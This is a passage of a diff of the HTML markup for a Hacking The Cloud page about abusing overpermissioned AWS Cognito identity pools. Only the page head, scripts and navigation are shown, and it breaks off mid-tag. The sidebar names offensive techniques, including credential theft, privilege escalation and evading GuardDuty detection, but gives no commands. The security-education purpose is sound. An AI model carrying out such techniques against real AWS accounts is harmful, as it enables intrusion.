- Hacking The Cloud"><meta property=twitter:description content="How to take advantage of misconfigured Amazon Cognito Identity Pools."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/cognito_identity_pool_excessive_privileges.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="How to take advantage of misconfigured Amazon Cognito Identity Pools."><link href=https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/ rel=canonical><link href=../abusing-container-registry/ rel=prev><link href=../cognito_user_self_signup/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Abusing Overpermissioned AWS Cognito Identity Pools - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Abusing Overpermissioned AWS Cognito Identity Pools - Hacking The Cloud"><meta property=og:description content="How to take advantage of misconfigured Amazon Cognito Identity Pools."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/cognito_identity_pool_excessive_privileges.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Abusing Overpermissioned AWS Cognito Identity Pools - Hacking The Cloud"><meta property=twitter:description content="How to take advantage of misconfigured Amazon Cognito Identity Pools."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/cognito_identity_pool_excessive_privileges.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#overpermissioned-aws-cognito-identity-pools class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3 checked> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=true> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#how-it-works class=md-nav__link> <span class=md-ellipsis> How it works </span> </a> <nav class=md-nav aria-label="How it works"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#identity-retrieval class=md-nav__link> <span class=md-ellipsis> Identity Retrieval: </span> </a> </li> <li class=md-nav__item> <a href=#excessive-privileges-exploitation class=md-nav__link> <span class=md-ellipsis> Excessive Privileges Exploitation: </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#exploitation class=md-nav__link> <span class=md-ellipsis> Exploitation </span> </a> </li> <li class=md-nav__item> <a href=#impact class=md-nav__link> <span class=md-ellipsis> Impact </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ 